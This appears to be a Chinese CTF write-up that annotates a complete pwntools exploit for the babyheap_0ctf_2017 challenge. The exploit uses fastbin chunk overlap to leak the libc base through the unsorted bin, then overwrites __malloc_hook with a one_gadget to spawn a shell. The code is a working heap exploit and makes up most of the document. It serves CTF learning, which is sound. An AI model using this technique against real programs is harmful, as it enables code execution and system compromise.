目录
参考博文:CSDN-Mokapeng(作者)-babyheap_0ctf_2017 详细解析【BUUCTF】
暂且先对代码进行解释:
from pwn import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
p=remote("node4.buuoj.cn",29227)
libc = ELF("libc-2.23.so")
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))
allo(0x10)#0 #用于
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4
free(1)
free(2)
## 这里allo的序号是从0开始的,allo了4个chunk,
## 分别对应序号0,1,2,3,而1和2被free掉了,
## 在free函数里对应的指针也被置为0了,就不能再次访问1,2了(除非重新allo)
## 但是在内存中的位置的内容并没有被清除,仍然是顺序存储的,
## 向0号chunk写入内容是能够覆盖这部分内容的,只是覆盖以后,
## 没有指针指向它,自然无法使用。
## 因此在此处依次覆盖0号chunk的data、1号chunk的
## data of head & size of data、1号chunk的data(fd%bk)、
## 2号chunk的data of head & size of data、1号chunk的data(fd&bk),
## 最终目的是把2号的低8位(1byte)变为0x80
##(0x80是因为申请chunk 4之前allo了6个0x10的chunk,
## 每个chunk加上其各自0x10大小的header,大小均为0x20),
## 即将其fd改写成序号为chunk 4的地址,那么在连续两次allo时,
## 第一次会申请到2号chunk(因为chunk 2 是被最后一个free的,
## 其在fast bin 的最上面,那么第二次申请就会申请到4号chunk
## 2号的fd已经被修改,指向chunk 4,(但是chunk 4 一开始的
## size of header是0x91,只有在chunk 4 是0x21时,第二次allo时才不会报错)
## 于是需要对chunk 3进行写入,使写入内容溢出到chunk 4中(3,4相邻)
## 将其size of header 改为0x21
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80) # 使2的chunk空闲块指向了4号块的位置,4号位为较大的chunk,用来获取目标地址
fill(0,len(payload),payload)
payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload) # 让4号块的大小变成0x21,这样4号块就意义上被free了
allo(0x10)#1 The original position of 2 # 申请原本2号块
allo(0x10)#2 4 Simultaneous pointing # 这里就会申请到4号块的位置
## small chunk(size of data 在0x90以上)被free 掉以后,会先被放入unsorted bin中,而非small bin
## unsorted bin的一个特性:若unsorted bin中只有一个chunk的时候,
## 这个chunk的fd和bk指针存放的都是main_arena+88,通过main_arena我们就可以获取到libc的基地址。
payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload) # 将4号块的大小改回 0x91,不然找不到top chunk位置
## 这里没搞明白,为什么还要再次allo一个0x80
allo(0x80) # 在申请一块大空间,避免4号块和top chunk合并
## 这时候的free,chunk 4的fd就被改为了 main arean+88
free(4) # 释放4号块
dump(2)
__malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 88 - 0x10
libc_base = __malloc_hook - libc.symbols["__malloc_hook"]
log.info("__malloc_hook: "+ hex(__malloc_hook))
log.info("libc_base: "+ hex(libc_base))
## 关于此处为什么时0x60:因为后面伪造的chunk 对应的size of header使用的值为0x7f(0x7f对应的chunk size是0x70(含header)),所以allo 0x60的size of header也是0x70(最后4bit没有算,可以是0x71,0x7f),
allo(0x60)
free(4) # 相当于做一个切割,将0x80的块分成0x60在fastbin中,0x20在unsortedbin中
## 这里不检查对齐,所以劫持的chunk只要在__malloc_hook之前,并且找到一个可以覆盖到__malloc_hook内容的size of header即可(假设下面的数字35是offset,需满足size of header >= offset + 8》)
payload = p64(__malloc_hook - 35)
fill(2,len(payload),payload)
allo(0x60)
allo(0x60) # 这个就会申请到假chunk
## 下面填充的`a`(垃圾字符)的数量其实就是35(十进制、前面提到的offset - 2*0x8(__malloc_hook到body of fake chunk的offset))
payload = b'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
## 这里allo的size可以随意些
allo(79)
p.interactive()